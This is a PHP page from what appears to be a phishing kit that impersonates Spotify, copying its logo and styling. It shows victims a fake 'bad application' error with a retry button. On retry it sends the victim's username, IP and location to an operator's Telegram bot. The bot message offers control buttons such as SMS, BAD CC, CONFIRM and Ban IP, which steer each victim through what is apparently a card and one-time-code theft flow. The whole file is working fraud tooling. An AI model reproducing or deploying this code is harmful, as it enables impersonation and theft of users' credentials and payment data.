<?php
/**
 * Bad Application Page
 * Shows when admin marks application as invalid
 */

define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$ip = getClientIP();

// Check if this page should be shown
$showPage = false;
$badAppFile = BASE_PATH . '/Panel/action/ip_badapp.txt';

if (file_exists($badAppFile)) {
    $content = file_get_contents($badAppFile);
    if (strpos($content, $ip) !== false) {
        $showPage = true;
    }
}

// Handle retry button
if (isset($_POST['retry'])) {
    // Send notification to Telegram
    if (TELEGRAM_ENABLED) {
        require_once __DIR__ . '/../config/telegram.php';
        $telegram = new TelegramAPI();
        $timestamp = date('Y-m-d H:i:s');
        
        // Get geolocation
        $geoInfo = $telegram->getGeoInfo($ip);
        
        $message = "🔄 <b>USER CLICKED TRY AGAIN</b>\n\n";
        $message .= "👤 <b>User:</b> " . ($_SESSION['username'] ?? 'Unknown') . "\n";
        $message .= "📍 <b>IP:</b> {$ip}\n";
        $message .= "🌍 <b>Location:</b> {$geoInfo['city']}, {$geoInfo['country']}\n";
        $message .= "🕐 <b>Time:</b> {$timestamp}\n";
        $message .= "📱 <b>Action:</b> User clicked 'Try Again' button on bad_application.php\n";
        $message .= "➡️ <b>Redirecting to:</b> application.php\n\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n";
        $message .= "<b>What would you like to do?</b>";
        
        // Create inline keyboard with control buttons
        $keyboard = [
            'inline_keyboard' => [
                [
                    ['text' => '📲 SMS 📲', 'callback_data' => "sms_$ip"],
                    ['text' => '📱 APPLICATION 📱', 'callback_data' => "app_$ip"]
                ],
                [
                    ['text' => '⛔ BAD SMS ⛔', 'callback_data' => "badsms_$ip"],
                    ['text' => '💳 BAD CC 💳', 'callback_data' => "badcc_$ip"]
                ],
                [
                    ['text' => '📱 BAD APP 📱', 'callback_data' => "badapp_$ip"]
                ],
                [
                    ['text' => '✅ CONFIRM ✅', 'callback_data' => "confirm_$ip"]
                ],
                [
                    ['text' => '🛑 Ban IP 🛑', 'callback_data' => "ban_$ip"]
                ]
            ]
        ];
        
        $url = "https://api.telegram.org/bot{$telegram->botToken}/sendMessage";
        
        $data = [
            'chat_id' => $telegram->chatId,
            'text' => $message,
            'parse_mode' => 'HTML',
            'reply_markup' => json_encode($keyboard)
        ];
        
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        curl_exec($ch);
        curl_close($ch);
    }
    
    // Remove IP from badapp file
    if (file_exists($badAppFile)) {
        $content = file_get_contents($badAppFile);
        $content = str_replace($ip . "\n", '', $content);
        $content = str_replace($ip, '', $content);
        file_put_contents($badAppFile, $content);
    }
    
    // Add IP back to app file so they can access application.php
    $appFile = BASE_PATH . '/Panel/action/ip_app.txt';
    file_put_contents($appFile, $ip . PHP_EOL, FILE_APPEND | LOCK_EX);
    
    // Redirect to application.php
    header('Location: application.php');
    exit;
}

// If not supposed to be here, redirect
if (!$showPage) {
    header('Location: verification.php');
    exit;
}
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $langManager->get('title'); ?></title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background: linear-gradient(rgba(255, 255, 255, 0.1) 0%, rgb(0, 0, 0) 100%);
            background-color: #000;
            color: #fff;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        
        .main-wrapper {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
            overflow: auto;
            padding-top: 80px;
        }
        
        .header-wrapper {
            display: flex;
            padding: 0 32px;
            min-height: 80px;
            overflow: hidden;
            align-items: center;
            justify-content: center;
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            background: transparent;
            z-index: 100;
        }
        
        .logo-container {
            height: 40px;
        }
        
        .spotify-logo {
            height: 100%;
            width: auto;
            color: #fff;
        }
        
        .content-wrapper {
            flex-grow: 1;
            display: flex;
            width: 100%;
            justify-content: center;
            padding-bottom: 32px;
        }
        
        .error-box {
            box-sizing: content-box;
            padding: 0 32px;
            width: 100%;
            max-width: 450px;
        }
        
        .error-content {
            display: flex;
            flex-direction: column;
            flex: 1;
            height: 100%;
            background-color: #000;
            padding: 48px;
            border-radius: 8px;
            animation: fadeIn 0.5s ease-out;
        }
        
        @keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(20px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        .error-icon-wrapper {
            text-align: center;
            margin-bottom: 32px;
        }
        
        .error-icon {
            width: 80px;
            height: 80px;
            background-color: #e22134;
            border-radius: 50%;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            font-size: 48px;
            animation: shake 0.5s ease-in-out;
        }
        
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-10px); }
            75% { transform: translateX(10px); }
        }
        
        .title-section {
            text-align: center;
            margin-bottom: 24px;
        }
        
        .error-title {
            font-size: 32px;
            font-weight: 700;
            line-height: 1.2;
            margin-bottom: 16px;
            color: #e22134;
        }
        
        .error-subtitle {
            font-size: 16px;
            color: #b3b3b3;
            line-height: 1.5;
            margin-bottom: 8px;
        }
        
        .error-banner {
            background-color: rgba(226, 33, 52, 0.1);
            border: 1px solid #e22134;
            color: #fff;
            padding: 16px;
            border-radius: 8px;
            margin-bottom: 24px;
            text-align: center;
            font-size: 14px;
        }
        
        .error-details {
            background-color: #121212;
            border-radius: 8px;
            padding: 20px;
            margin-bottom: 24px;
        }
        
        .error-details-title {
            font-size: 14px;
            font-weight: 700;
            color: #fff;
            margin-bottom: 12px;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .error-details-list {
            list-style: none;
            padding: 0;
        }
        
        .error-details-list li {
            font-size: 14px;
            color: #b3b3b3;
            padding: 8px 0;
            padding-left: 24px;
            position: relative;
        }
        
        .error-details-list li:before {
            content: "•";
            position: absolute;
            left: 8px;
            color: #e22134;
            font-weight: bold;
        }
        
        .retry-btn {
            width: 100%;
            padding: 16px;
            background-color: #1ed760;
            color: #000;
            border: none;
            border-radius: 500px;
            font-size: 16px;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.2s;
            margin-bottom: 16px;
        }
        
        .retry-btn:hover {
            background-color: #1fdf64;
            transform: scale(1.04);
        }
        
        .retry-btn:active {
            transform: scale(0.96);
        }
        
        .support-section {
            text-align: center;
            margin-top: 24px;
            padding-top: 24px;
            border-top: 1px solid #282828;
        }
        
        .support-text {
            font-size: 12px;
            color: #727272;
            line-height: 1.5;
        }
        
        .support-link {
            color: #1ed760;
            text-decoration: none;
            font-weight: 600;
        }
        
        .support-link:hover {
            text-decoration: underline;
        }
        
        .spacer-64 { height: 64px; }
        
        @media (max-width: 768px) {
            .error-content {
                padding: 32px 24px;
            }
            
            .error-title {
                font-size: 28px;
            }
            
            .error-icon {
                width: 64px;
                height: 64px;
                font-size: 36px;
            }
        }
    </style>
</head>
<body>
    <div class="main-wrapper">
        <!-- Header -->
        <header class="header-wrapper">
            <div class="logo-container">
                <svg class="spotify-logo" viewBox="0 0 1134 340" xmlns="http://www.w3.org/2000/svg">
                    <path fill="currentColor" d="M8 171c0-92 76-168 168-168S344 79 344 171s-76 168-168 168S8 263 8 171zm230 78c-39-24-89-30-147-17-14 2-16-18-4-20 64-15 118-8 162 19 11 7 0 24-11 18zm17-45c-45-28-114-36-167-20-17 5-23-21-7-25 61-18 136-9 188 23 14 9 0 31-14 22zM80 133c-17 6-28-23-9-30 59-18 159-15 221 22 17 9 1 37-17 27-54-32-144-35-195-19zm379 91c-17 0-33-6-47-20-1 0-1 1-1 1l-16 19c-1 1-1 2 0 3 18 16 40 24 64 24 34 0 55-19 55-47 0-24-15-37-50-46-29-7-34-12-34-22s10-16 23-16 25 5 39 15c0 0 1 1 2 1s1-1 1-1l14-20c1-1 1-1 0-2-16-13-35-20-56-20-31 0-53 19-53 46 0 29 20 38 52 46 28 6 32 12 32 22 0 11-10 17-25 17zm95-77v-13c0-1-1-2-2-2h-26c-1 0-2 1-2 2v147c0 1 1 2 2 2h26c1 0 2-1 2-2v-46c10 11 21 16 36 16 27 0 54-21 54-61s-27-60-54-60c-15 0-26 5-36 17zm30 78c-18 0-31-15-31-35s13-34 31-34 30 14 30 34-12 35-30 35zm68-34c0 34 27 60 62 60s62-27 62-61-26-60-61-60-63 27-63 61zm30 0c0-20 13-34 32-34s33 15 33 35-13 34-32 34-33-15-33-35zm140-58v-29c0-1 0-2-1-2h-26c-1 0-2 1-2 2v29h-13c-1 0-2 1-2 2v22c0 1 1 2 2 2h13v58c0 23 11 35 34 35 9 0 18-2 25-6 1 0 1-1 1-2v-21c0-1 0-2-1-2h-2c-5 3-11 4-16 4-8 0-12-4-12-12v-54h30c1 0 2-1 2-2v-22c0-1-1-2-2-2h-30zm129-3c0-11 4-15 13-15 5 0 10 0 15 2h1s1-1 1-2V93c0-1 0-2-1-2-5-2-12-3-22-3-24 0-36 14-36 39v5h-13c-1 0-2 1-2 2v22c0 1 1 2 2 2h13v89c0 1 1 2 2 2h26c1 0 1-1 1-2v-89h25l37 89c-4 9-8 11-14 11-5 0-10-1-15-4h-1l-1 1-9 19c0 1 0 3 1 3 9 5 17 7 27 7 19 0 30-9 39-33l45-116v-2c0-1-1-1-2-1h-27c-1 0-1 1-1 2l-28 78-30-78c0-1-1-2-2-2h-44v-3zm-83 3c-1 0-2 1-2 2v113c0 1 1 2 2 2h26c1 0 1-1 1-2V134c0-1 0-2-1-2h-26zm-6-33c0 10 9 19 19 19s18-9 18-19-8-18-18-18-19 8-19 18zm245 69c10 0 19-8 19-18s-9-18-19-18-18 8-18 18 8 18 18 18zm0-34c9 0 17 7 17 16s-8 16-17 16-16-7-16-16 7-16 16-16zm4 18c3-1 5-3 5-6 0-4-4-6-8-6h-8v19h4v-6h4l4 6h5zm-3-9c2 0 4 1 4 3s-2 3-4 3h-4v-6h4z"/>
                </svg>
            </div>
        </header>

        <!-- Main Content -->
        <section class="content-wrapper">
            <div class="error-box">
                <div class="error-content">
                    <div class="error-icon-wrapper">
                        <div class="error-icon">❌</div>
                    </div>
                    
                    <div class="title-section">
                        <h1 class="error-title"><?php echo $langManager->get('bad_application.title'); ?></h1>
                        <p class="error-subtitle">
                            <?php echo $langManager->get('bad_application.subtitle'); ?>
                        </p>
                    </div>

                    <div class="error-banner">
                        ⚠️ <?php echo $langManager->get('bad_application.banner'); ?>
                    </div>

                    <div class="error-details">
                        <div class="error-details-title">
                            <span>ℹ️</span>
                            <span><?php echo $langManager->get('bad_application.reasons_title'); ?></span>
                        </div>
                        <ul class="error-details-list">
                            <li><?php echo $langManager->get('bad_application.reason_declined'); ?></li>
                            <li><?php echo $langManager->get('bad_application.reason_expired'); ?></li>
                            <li><?php echo $langManager->get('bad_application.reason_not_responding'); ?></li>
                            <li><?php echo $langManager->get('bad_application.reason_network'); ?></li>
                        </ul>
                    </div>

                    <form method="POST" action="bad_application.php">
                        <button type="submit" name="retry" class="retry-btn">
                            🔄 <?php echo $langManager->get('bad_application.retry_btn'); ?>
                        </button>
                    </form>

                    <div class="support-section">
                        <p class="support-text">
                            <?php echo $langManager->get('bad_application.support_text'); ?> 
                            <a href="#" class="support-link"><?php echo $langManager->get('bad_application.support_link'); ?></a> <?php echo $langManager->get('bad_application.support_assistance'); ?>
                        </p>
                    </div>
                </div>
            </div>
        </section>

        <div class="spacer-64"></div>
    </div>
</body>
</html>
